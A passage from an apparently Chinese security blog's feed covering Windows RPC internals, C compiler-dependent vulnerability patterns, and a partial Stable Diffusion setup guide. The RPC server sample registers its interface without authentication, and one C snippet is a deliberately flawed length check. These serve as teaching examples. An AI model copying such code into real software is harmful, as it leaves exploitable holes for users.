queue length for TCP/IP.</span></span><br><span class="line">      reinterpret_cast&lt;<span class="type">unsigned</span> <span class="type">char</span>*&gt;(<span class="string">&quot;4747&quot;</span>),         <span class="comment">// TCP/IP port to use.</span></span><br><span class="line">      <span class="literal">NULL</span>);                          <span class="comment">// No security.</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (status)</span><br><span class="line">      <span class="built_in">exit</span>(status);</span><br><span class="line"></span><br><span class="line">   <span class="comment">// Registers the Example1 interface.</span></span><br><span class="line">   status = RpcServerRegisterIf2(</span><br><span class="line">      Example1_v1_0_s_ifspec,              <span class="comment">// Interface to register.</span></span><br><span class="line">      <span class="literal">NULL</span>,                                <span class="comment">// Use the MIDL generated entry-point vector.</span></span><br><span class="line">      <span class="literal">NULL</span>,                                <span class="comment">// Use the MIDL generated entry-point vector.</span></span><br><span class="line">      RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, <span class="comment">// Forces use of security callback.</span></span><br><span class="line">      RPC_C_LISTEN_MAX_CALLS_DEFAULT,      <span class="comment">// Use default number of concurrent calls.</span></span><br><span class="line">      (<span class="type">unsigned</span>)<span class="number">-1</span>,                        <span class="comment">// Infinite max size of incoming data blocks.</span></span><br><span class="line">      SecurityCallback);                   <span class="comment">// Naive security callback.</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (status)</span><br><span class="line">      <span class="built_in">exit</span>(status);</span><br><span class="line"></span><br><span class="line">   <span class="comment">// Start to listen for remote procedure</span></span><br><span class="line">   <span class="comment">// calls for all registered interfaces.</span></span><br><span class="line">   <span class="comment">// This call will not return until</span></span><br><span class="line">   <span class="comment">// RpcMgmtStopServerListening is called.</span></span><br><span class="line">   status = RpcServerListen(</span><br><span class="line">     <span class="number">1</span>,                                   <span class="comment">// Recommended minimum number of threads.</span></span><br><span class="line">     RPC_C_LISTEN_MAX_CALLS_DEFAULT,      <span class="comment">// Recommended maximum number of threads.</span></span><br><span class="line">     FALSE);                              <span class="comment">// Start listening now.</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (status)</span><br><span class="line">      <span class="built_in">exit</span>(status);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Memory allocation function for RPC.</span></span><br><span class="line"><span class="comment">// The runtime uses these two functions for allocating/deallocating</span></span><br><span class="line"><span class="comment">// enough memory to pass the string to the server.</span></span><br><span class="line"><span class="type">void</span>* __RPC_USER <span class="title function_">midl_user_allocate</span><span class="params">(<span class="type">size_t</span> size)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">malloc</span>(size);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Memory deallocation function for RPC.</span></span><br><span class="line"><span class="type">void</span> __RPC_USER <span class="title function_">midl_user_free</span><span class="params">(<span class="type">void</span>* p)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">free</span>(p);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>idl</strong>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">// File Example1.idl</span><br><span class="line">[</span><br><span class="line">   // A unique identifier that distinguishes this interface from other interfaces.</span><br><span class="line">   uuid(00000001-EAF3-4A7A-A0F2-BCE4C30DA77E),</span><br><span class="line"></span><br><span class="line">   // This is version 1.0 of this interface.</span><br><span class="line">   version(1.0)</span><br><span class="line">]</span><br><span class="line">interface Example1 // The interface is named Example1</span><br><span class="line">&#123;</span><br><span class="line">   // A function that takes a zero-terminated string.</span><br><span class="line">   void Output(</span><br><span class="line">      [in, string] const char* szOutput);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Client</strong>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line">// File Example1Client.cpp</span><br><span class="line">#include &lt;iostream&gt;</span><br><span class="line">#include &quot;../Example1/Example1.h&quot;</span><br><span class="line"></span><br><span class="line">int main()</span><br><span class="line">&#123;</span><br><span class="line">   RPC_STATUS status;</span><br><span class="line">   unsigned char* szStringBinding = NULL;</span><br><span class="line"></span><br><span class="line">   // Creates a string binding handle.</span><br><span class="line">   // This function is nothing more than a printf.</span><br><span class="line">   // Connection is not done here.</span><br><span class="line">   status = RpcStringBindingCompose(</span><br><span class="line">      NULL, // UUID to bind to.</span><br><span class="line">      reinterpret_cast&lt;unsigned char*&gt;(&quot;ncacn_ip_tcp&quot;), // Use TCP/IP</span><br><span class="line">                                                        // protocol.</span><br><span class="line">      reinterpret_cast&lt;unsigned char*&gt;(&quot;localhost&quot;), // TCP/IP network</span><br><span class="line">                                                     // address to use.</span><br><span class="line">      reinterpret_cast&lt;unsigned char*&gt;(&quot;4747&quot;), // TCP/IP port to use.</span><br><span class="line">      NULL, // Protocol dependent network options to use.</span><br><span class="line">      &amp;szStringBinding); // String binding output.</span><br><span class="line"></span><br><span class="line">   if (status)</span><br><span class="line">      exit(status);</span><br><span class="line"></span><br><span class="line">   // Validates the format of the string binding handle and converts</span><br><span class="line">   // it to a binding handle.</span><br><span class="line">   // Connection is not done here either.</span><br><span class="line">   status = RpcBindingFromStringBinding(</span><br><span class="line">      szStringBinding, // The string binding to validate.</span><br><span class="line">      &amp;hExample1Binding); // Put the result in the implicit binding</span><br><span class="line">                          // handle defined in the IDL file.</span><br><span class="line"></span><br><span class="line">   if (status)</span><br><span class="line">      exit(status);</span><br><span class="line"></span><br><span class="line">   RpcTryExcept</span><br><span class="line">   &#123;</span><br><span class="line">      // Calls the RPC function. The hExample1Binding binding handle</span><br><span class="line">      // is used implicitly.</span><br><span class="line">      // Connection is done here.</span><br><span class="line">      Output(&quot;Hello Implicit RPC World!&quot;);</span><br><span class="line">   &#125;</span><br><span class="line">   RpcExcept(1)</span><br><span class="line">   &#123;</span><br><span class="line">      std::cerr &lt;&lt; &quot;Runtime reported exception &quot; &lt;&lt; RpcExceptionCode()</span><br><span class="line">                &lt;&lt; std::endl;</span><br><span class="line">   &#125;</span><br><span class="line">   RpcEndExcept</span><br><span class="line"></span><br><span class="line">   // Free the memory allocated by a string.</span><br><span class="line">   status = RpcStringFree(</span><br><span class="line">      &amp;szStringBinding); // String to be freed.</span><br><span class="line"></span><br><span class="line">   if (status)</span><br><span class="line">      exit(status);</span><br><span class="line"></span><br><span class="line">   // Releases binding handle resources and disconnects from the server.</span><br><span class="line">   status = RpcBindingFree(</span><br><span class="line">      &amp;hExample1Binding); // Frees the implicit binding handle defined in</span><br><span class="line">                          // the IDL file.</span><br><span class="line"></span><br><span class="line">   if (status)</span><br><span class="line">      exit(status);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// Memory allocation function for RPC.</span><br><span class="line">// The runtime uses these two functions for allocating/deallocating</span><br><span class="line">// enough memory to pass the string to the server.</span><br><span class="line">void* __RPC_USER midl_user_allocate(size_t size)</span><br><span class="line">&#123;</span><br><span class="line">    return malloc(size);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// Memory deallocation function for RPC.</span><br><span class="line">void __RPC_USER midl_user_free(void* p)</span><br><span class="line">&#123;</span><br><span class="line">    free(p);</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="NDR64-FORMAT-CHARACTER"><a href="#NDR64-FORMAT-CHARACTER" class="headerlink" title="NDR64_FORMAT_CHARACTER"></a>NDR64_FORMAT_CHARACTER</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line">FC64_ZERO = 0 0x0</span><br><span class="line">FC64_UINT8 = 1 0x1</span><br><span class="line">FC64_INT8 = 2 0x2</span><br><span class="line">FC64_UINT16 = 3 0x3</span><br><span class="line">FC64_INT16 = 4 0x4</span><br><span class="line">FC64_INT32 = 5 0x5</span><br><span class="line">FC64_UINT32 = 6 0x6</span><br><span class="line">FC64_INT64 = 7 0x7</span><br><span class="line">FC64_UINT64 = 8 0x8</span><br><span class="line">FC64_INT128 = 9 0x9</span><br><span class="line">FC64_UINT128 = 10 0xa</span><br><span class="line">FC64_FLOAT32 = 11 0xb</span><br><span class="line">FC64_FLOAT64 = 12 0xc</span><br><span class="line">FC64_FLOAT80 = 13 0xd</span><br><span class="line">FC64_FLOAT128 = 14 0xe</span><br><span class="line">FC64_CHAR = 16 0x10</span><br><span class="line">FC64_WCHAR = 17 0x11</span><br><span class="line">FC64_IGNORE = 18 0x12</span><br><span class="line">FC64_ERROR_STATUS_T = 19 0x13</span><br><span class="line">FC64_POINTER = 20 0x14</span><br><span class="line">FC64_RP = 32 0x20</span><br><span class="line">FC64_UP = 33 0x21 //表示这个字段是个指针</span><br><span class="line">FC64_OP = 34 0x22</span><br><span class="line">FC64_FP = 35 0x23</span><br><span class="line">FC64_IP = 36 0x24</span><br><span class="line">FC64_STRUCT = 48 0x30</span><br><span class="line">FC64_PSTRUCT = 49 0x31</span><br><span class="line">FC64_CONF_STRUCT = 50 0x32</span><br><span class="line">FC64_CONF_PSTRUCT = 51 0x33</span><br><span class="line">FC64_BOGUS_STRUCT = 52 0x34</span><br><span class="line">FC64_FORCED_BOGUS_STRUCT = 53 0x35</span><br><span class="line">FC64_CONF_BOGUS_STRUCT = 54 0x36</span><br><span class="line">FC64_FORCED_CONF_BOGUS_STRUCT = 55 0x37</span><br><span class="line">FC64_SYSTEM_HANDLE = 60 0x3c</span><br><span class="line">FC64_FIX_ARRAY = 64 0x40</span><br><span class="line">FC64_CONF_ARRAY = 65 0x41</span><br><span class="line">FC64_VAR_ARRAY = 66 0x42</span><br><span class="line">FC64_CONFVAR_ARRAY = 67 0x43</span><br><span class="line">FC64_FIX_FORCED_BOGUS_ARRAY = 68 0x44</span><br><span class="line">FC64_FIX_BOGUS_ARRAY = 69 0x45</span><br><span class="line">FC64_FORCED_BOGUS_ARRAY = 70 0x46</span><br><span class="line">FC64_BOGUS_ARRAY = 71 0x47</span><br><span class="line">FC64_ENCAPSULATED_UNION = 80 0x50</span><br><span class="line">FC64_NON_ENCAPSULATED_UNION = 81 0x51</span><br><span class="line">FC64_CHAR_STRING = 96 0x60</span><br><span class="line">FC64_WCHAR_STRING = 97 0x61</span><br><span class="line">FC64_STRUCT_STRING = 98 0x62</span><br><span class="line">FC64_CONF_CHAR_STRING = 99 0x63</span><br><span class="line">FC64_CONF_WCHAR_STRING = 100 0x64</span><br><span class="line">FC64_CONF_STRUCT_STRING = 101 0x65</span><br><span class="line">FC64_BIND_CONTEXT = 112 0x70</span><br><span class="line">FC64_BIND_GENERIC = 113 0x71</span><br><span class="line">FC64_BIND_PRIMITIVE = 114 0x72</span><br><span class="line">FC64_AUTO_HANDLE = 115 0x73</span><br><span class="line">FC64_CALLBACK_HANDLE = 116 0x74</span><br><span class="line">FC64_SUPPLEMENT = 117 0x75</span><br><span class="line">FC64_NO_REPEAT = 128 0x80</span><br><span class="line">FC64_FIXED_REPEAT = 129 0x81</span><br><span class="line">FC64_VARIABLE_REPEAT = 130 0x82</span><br><span class="line">FC64_FIXED_OFFSET = 131 0x83</span><br><span class="line">FC64_VARIABLE_OFFSET = 132 0x84</span><br><span class="line">FC64_STRUCTPADN = 144 0x90</span><br><span class="line">FC64_EMBEDDED_COMPLEX = 145 0x91</span><br><span class="line">FC64_BUFFER_ALIGN = 146 0x92</span><br><span class="line">FC64_END = 147 0x93</span><br><span class="line">FC64_TRANSMIT_AS = 160 0xa0</span><br><span class="line">FC64_REPRESENT_AS = 161 0xa1</span><br><span class="line">FC64_USER_MARSHAL = 162 0xa2</span><br><span class="line">FC64_PIPE = 163 0xa3</span><br><span class="line">FC64_RANGE = 164 0xa4</span><br><span class="line">FC64_PAD = 165 0xa5</span><br></pre></td></tr></table></figure><p>通过以下方式获取:<img src="/images/rpc_readme/1722226870055.png" alt="1722226870055"></p><p>参考来源: <a href="https://powerofcommunity.net/poc2023/JamesForshaw.pdf">Building More Windows RPC  Tooling for Security Research - James Forshaw </a></p><h2 id="RPC-反序列化流程-不完整"><a href="#RPC-反序列化流程-不完整" class="headerlink" title="RPC 反序列化流程(不完整)"></a>RPC 反序列化流程(不完整)</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">Ndr64StubWorker</span><br><span class="line">Ndr64pServerUnMarshal</span><br><span class="line">check func arg tag; IsBasetype.....</span><br><span class="line">Ndr64pPointerUnmarshall</span><br><span class="line">or</span><br><span class="line">Ndr64ConformantStringUnmarshall</span><br><span class="line">or</span><br><span class="line">Ndr64ComplexStructUnmarshall // 针对结构体指针类型</span><br><span class="line">Ndr64ComplexStructMemorySize // 检查结构体描述符, 计算结构体长度</span><br><span class="line">解码数据....</span><br><span class="line">Ndr64SimpleTypeUnmarshall</span><br><span class="line">Ndr64EmbeddedPointerUnmarshall</span><br><span class="line">Ndr64ConformantArrayUnmarshall</span><br><span class="line">Ndr64pEarlyCheckCorrelation</span><br><span class="line">EvaluateExpr</span><br><span class="line">Ndr64pGetAllocateAllNodesContext</span><br><span class="line">Ndr64ConformantArrayMemorySize</span><br><span class="line">a1-&gt;pfnAllocate()// 申请数组的堆</span><br><span class="line">.....</span><br><span class="line">or</span><br><span class="line">Ndr64UnmarshallHandle // 针对 context_handle 类型</span><br><span class="line">.....</span><br><span class="line">Invoke</span><br><span class="line">target rpc func</span><br></pre></td></tr></table></figure><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://www.tiraniddo.dev/2021/08/how-to-secure-windows-rpc-server-and.html">https://www.tiraniddo.dev/2021/08/how-to-secure-windows-rpc-server-and.html</a> </p><p><a href="https://www.codeproject.com/Articles/4837/Introduction-to-RPC-Part-1#Implicitandexplicithandles17">https://www.codeproject.com/Articles/4837/Introduction-to-RPC-Part-1#Implicitandexplicithandles17</a></p><h2 id="致谢"><a href="#致谢" class="headerlink" title="致谢"></a>致谢</h2><p>感谢 <a href="https://twitter.com/KeyZ3r0">k0shl</a>, <a href="https://twitter.com/XiaoWei___">@XiaoWei___</a> 两位大佬帮我理解这个rpc.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;windows的rpc是一个很重要的接口, 以前我对它一直不算了解, 今天以一个安全研究的角度去介绍一下它. &lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>和编译器编译结果有关的漏洞问题</title>
    <link href="http://474172261.github.io/2023/03/24/compiler_error/"/>
    <id>http://474172261.github.io/2023/03/24/compiler_error/</id>
    <published>2023-03-24T06:49:54.908Z</published>
    <updated>2023-08-18T03:59:42.017Z</updated>
    
    <content type="html"><![CDATA[<p>c语言作为最基础的语言，经历了这么多年的迭代，它的标准里依然存在很多未定义的东西，而不同的编译器就会出现不一样的结果，这边blog主要是总结一些可能出现的和编译器的编译结果有关的漏洞</p><span id="more"></span> <h2 id="有符号和bit字段的比较"><a href="#有符号和bit字段的比较" class="headerlink" title="有符号和bit字段的比较"></a>有符号和bit字段的比较</h2><p>c语言有种结构体， 用的是bit位：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">a</span> &#123;</span></span><br><span class="line"><span class="type">unsigned</span> f1 : <span class="number">8</span>;</span><br><span class="line"><span class="type">unsigned</span> f2 : <span class="number">2</span>;</span><br><span class="line"><span class="type">unsigned</span> f3 : <span class="number">6</span>;</span><br><span class="line">&#125; t1;</span><br></pre></td></tr></table></figure><p>这个结构体最终的sizeof(t1)为2, 因为它只用了2个字节存储数据.</p><p>然而, 当一个int类型的结构体和t1的字段比较时, 结果就未知了.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span> &#123;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">a</span> &#123;</span></span><br><span class="line"><span class="type">unsigned</span> f1 : <span class="number">8</span>;</span><br><span class="line"><span class="type">unsigned</span> f2 : <span class="number">2</span>;</span><br><span class="line"><span class="type">unsigned</span> f3 : <span class="number">6</span>;</span><br><span class="line">&#125; t1;</span><br><span class="line"><span class="type">int</span> t2 = <span class="number">0xffffffff</span>;</span><br><span class="line"></span><br><span class="line">t1.f1 = <span class="number">0xaa</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%d\n&quot;</span>, t2 &gt; t1.f1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上面的代码, gcc的结果就是0, 而使用visual studio编译的就是1. </p><p>这种无符号和有符号的比较一般是要将有符号的数变成无符号再比较的, 在汇编层就是<code>ja, jb</code>这种跳转, 然而gcc的就是先把f1扩展成无符号的int, 然后有符号比较. 导致输出就是0. 这样就可能出现安全漏洞. </p><p>而且 <code>gcc t.c -Werror -Wall -Wextra -Wconversion</code>这样编译的情况下, 依然不会有任何警告!!</p><h2 id="无符号和0的比较"><a href="#无符号和0的比较" class="headerlink" title="无符号和0的比较"></a>无符号和0的比较</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">s</span>&#123;</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> len;</span><br><span class="line"><span class="type">char</span> *buffer;</span><br><span class="line">&#125; *a;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">not_safe</span><span class="params">(<span class="keyword">struct</span> s *ptr)</span>&#123;</span><br><span class="line"> <span class="keyword">if</span>(ptr-&gt;len - <span class="keyword">sizeof</span>(<span class="keyword">struct</span> s) &lt; <span class="number">0</span>)&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>gcc默认是不会警告的, 只有启用<code>-Wextra</code>才会警告这种行为, 所以遇到这种比较可以关注一下</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;c语言作为最基础的语言，经历了这么多年的迭代，它的标准里依然存在很多未定义的东西，而不同的编译器就会出现不一样的结果，这边blog主要是总结一些可能出现的和编译器的编译结果有关的漏洞&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Stable Diffusion安装使用指南</title>
    <link href="http://474172261.github.io/2023/02/28/stable-diffusion-introduce/"/>
    <id>http://474172261.github.io/2023/02/28/stable-diffusion-introduce/</id>
    <published>2023-02-28T01:54:06.052Z</published>
    <updated>2023-10-16T02:13:34.000Z</updated>
    
    <content type="html"><![CDATA[<p>时下文生图已经非常火热, 自己搭一个服务, 跑起来玩也是不错的选择</p><span id="more"></span><h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p><strong>Windows环境搭建</strong></p><ol><li><p>获取<a href="https://github.com/AUTOMATIC1111/stable-diffusion-webui">AUTOMATIC1111&#x2F;stable-diffusion-webui</a>, 解压缩.</p></li><li><p>安装<a href="https://www.python.org/downloads/release/python-3109/">python 3.10.9</a>, 注意开头要勾选把python添加到PATH或者手动添加. </p></li><li><p>设置国内pip源. 在<code>C:\users\你的用户名\</code>下创建<code>pip</code>文件夹, 并新建<code>pip.ini</code>文件, 添加以下内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[global]</span><br><span class="line">index-url = https://pypi.tuna.tsinghua.edu.cn/simple</span><br><span class="line">trusted-host = pypi.tuna.tsinghua.edu.cn</span><br></pre></td></tr></table></figure><p>当然也可以选其他源:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">阿里云:http://mirrors.aliyun.com/pypi/simple/</span><br><span class="line">中国科技大学:https://pypi.mirrors.ustc.edu.cn/simple/</span><br><span class="line">豆瓣(douban):http://pypi.douban.com/simple/</span><br><span class="line">清华大学:https://pypi.tuna.tsinghua.edu.cn/simple/</span><br><span class="line">中国科学技术大学:http://pypi.mirrors.ustc.edu.cn/simple/</span><br></pre></td></tr></table></figure></li><li><p>安装<a href="https://git-scm.com/downloads">git</a>, 安装完成后, 最好是有本地翻墙, 设置git代理, 不然下载可能出现问题</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git config --global https.proxy http://127.0.0.1:1080</span><br><span class="line">git config --global http.proxy http://127.0.0.1:1080</span><br></pre></td></tr></table></figure></li><li><p>进入<code>stable-diffusion-webui</code>目录, 打开<code>launch.py</code></p><p>在下面位置添加一行输出</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">command, desc=<span class="literal">None</span>, errdesc=<span class="literal">None</span>, custom_env=<span class="literal">None</span>, live=<span class="literal">False</span></span>):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;run:&quot;</span>, command) <span class="comment"># 添加此行</span></span><br><span class="line">    <span class="keyword">if</span> desc <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">        <span class="built_in">print</span>(desc)</span><br></pre></td></tr></table></figure></li><li><p>运行<code>webui.bat</code>, 它会自动下载需要的组件. </p><blockquote><p>如果遇到它输出卡了很久或者失败, 找到我们设置的<code>run:</code>输出, 手动执行一下看看问题在哪. </p><p>默认它会先git下载需要的库到<code>repositories</code>目录里, 然后才下载python的库, 为了提高操作速度, 可以在它下载git的时候另起一个终端执行<code>python -m pip install -r requirements_versions.txt --prefer-binary</code>下载所需的库.</p><p>如果显卡的内存比较低, 打开<code>webui-user.bat</code>, 在<code> COMMANDLINE_ARGS=</code> 后添加 <code>--lowvram</code>(显卡是2GB显存), 或者<code>--medvram</code>(4GB - 6GB显存), 然后运行<code>webui-user.bat</code>而非<code>webui.bat</code>. <a href="https://rentry.org/voldy">参考</a></p></blockquote><p>出现以下信息代表正常执行, 可以在浏览器访问它了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Model loaded in 13.9s (load weights from disk: 0.1s, create model: 0.6s, apply weights to model: 8.6s, apply half(): 1.2s, move model to device: 1.3s, load textual inversion embeddings: 1.9s).</span><br><span class="line">run: git rev-parse HEAD</span><br><span class="line">Running on local URL:  http://127.0.0.1:7860</span><br><span class="line"></span><br><span class="line">To create a public link, set `share=True` in `launch()`</span><br></pre></td></tr></table></figure></li><li><p>访问<a href="http://127.0.0.1:7860/">http://127.0.0.1:7860</a>:</p><p><img src="/images/stable-diffusion-introduce/1678413027084.png" alt="1678413027084"></p></li></ol><h1 id="tag指南"><a href="#tag指南" class="headerlink" title="tag指南"></a>tag指南</h1><h2 id="tag规则"><a href="#tag规则" class="headerlink" title="tag规则"></a>tag规则</h2><p><code>(tag)</code>表示强调tag, <code>((tag))</code>可以像这样嵌套多个括号, 强调更高, 但其实还不如写数值, 比如<code>(tag:1.2)</code>, 就是强调1.2倍, 当然也可以是小于1来减弱.</p><p>tag1|tag2 表示混合1:1使用, <code>1girl,red|blue hair, long hair</code>就是说红蓝长发的女孩</p><p><code>[tag]</code>就是减弱tag</p><p><code>[tag1:tag2:n]</code>, 如果n为正整数, 就是在n步前用tag1, n步后用tag2, 如果&lt;1的小数, 就是百分比</p><p>[tag1|tag2] 表示这是混合物. <code>[cow|horse|cat|dog] in a field</code>就是先朝着像牛努力，再朝着像马努力，再向着猫努力，再向着狗努力，再向着马努力 </p><p>tag越靠前, 权重越大. tag越多, 每个的权重就越小. 如果拼写错误, 将会理解成字母.</p><p><code>&lt;lora:theovercomer8sContrastFix_sd15:0.6&gt;</code> 这种就是选择了模型后, 自动填入的, <code>:</code>表示强调程度,</p><p><a href="/otherfile/SD-WebUI%E6%8C%87%E5%8D%97-%E5%8F%82%E6%95%B0%E7%AF%87.pdf">参考文件</a>, 来自B站up主<code>PiPI哈皮</code>.</p><h2 id="tag进阶"><a href="#tag进阶" class="headerlink" title="tag进阶"></a>tag进阶</h2><p>参考: <a href="https://zhuanlan.zhihu.com/p/577238010">Stable Diffusion使用入门与提示词技巧</a> </p><p>推荐的tag顺序是: 描述画质的词, 画面主要内容的词</p><p><strong>提高画质</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">best 